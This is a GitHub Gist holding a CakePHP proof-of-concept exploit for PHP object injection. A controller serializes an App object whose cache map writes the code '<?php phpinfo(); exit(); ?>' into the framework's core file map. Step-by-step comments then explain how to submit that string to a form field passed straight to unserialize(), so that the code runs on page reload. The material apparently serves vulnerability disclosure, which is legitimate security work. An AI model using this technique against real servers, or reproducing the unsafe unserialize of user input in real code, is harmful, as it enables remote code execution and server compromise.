Created
November 18, 2010 03:43
-
-
Save predominant/704596 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// --- Controller | |
class TestsController extends Controller { | |
public $uses = array(); | |
public function add() { | |
$x = new App(); | |
$x->__cache = 1; | |
$x->__map = array( | |
'Core' => array('Router' => '../tmp/cache/persistent/cake_core_file_map'), | |
'Foo' => '<?php phpinfo(); exit(); ?>' | |
); | |
$x->__paths = array(); | |
$x->__objects = array(); | |
$a = serialize($x); | |
$this->log($a); | |
// - Now read the value from /tmp/logs/error.log | |
// - Set debug to 0 | |
// - Enter the serialized string into the form, and submit | |
// - reload the page | |
if (!empty($this->data)) { | |
unserialize($this->data['Test']['field']); | |
} | |
} | |
} | |
// --- View File | |
echo $this->Form->create('Test'); | |
echo $this->Form->textarea('field'); | |
echo $this->Form->end('submit'); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment